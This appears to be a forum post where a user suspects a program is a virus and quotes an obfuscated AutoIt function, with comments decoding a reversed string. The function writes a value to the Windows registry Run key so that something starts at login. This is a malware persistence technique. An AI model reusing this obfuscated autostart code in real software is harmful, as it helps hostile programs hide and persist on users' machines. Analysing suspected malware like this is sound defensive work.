i think its a virus.
Code:
Func _su()
If $at4 = "1" Then
$n2d4yapgriwkcu25rkcix79exur_1155 = _0is3l490ejybua32d69l1y9o61($n2d4yapgriwkcu25rkcix79exubb_1_0 & "[COLOR="Red"]nerruC\swodniW\tfosorciM\ERAWTFOS\RES[/COLOR]") ;Backwards SER\SOFTWARE\Microsoft\Windows\Curren (it probably writes something into the startup section of the registry)
$n2d4yapgriwkcu25rkcix79exur_1154 = "HKEY_CURRENT_U" & $n2d4yapgriwkcu25rkcix79exur_1155 & "Version\Run"
RegWrite($n2d4yapgriwkcu25rkcix79exur_1154, $n2d4yapgriwkcu25rkcix79exul_i_s1, _0is3l490ejybua32d69l1y9o61("ZS_GER"), $n2d4yapgriwkcu25rkcix79exul_i_s2)
EndIf
EndFunc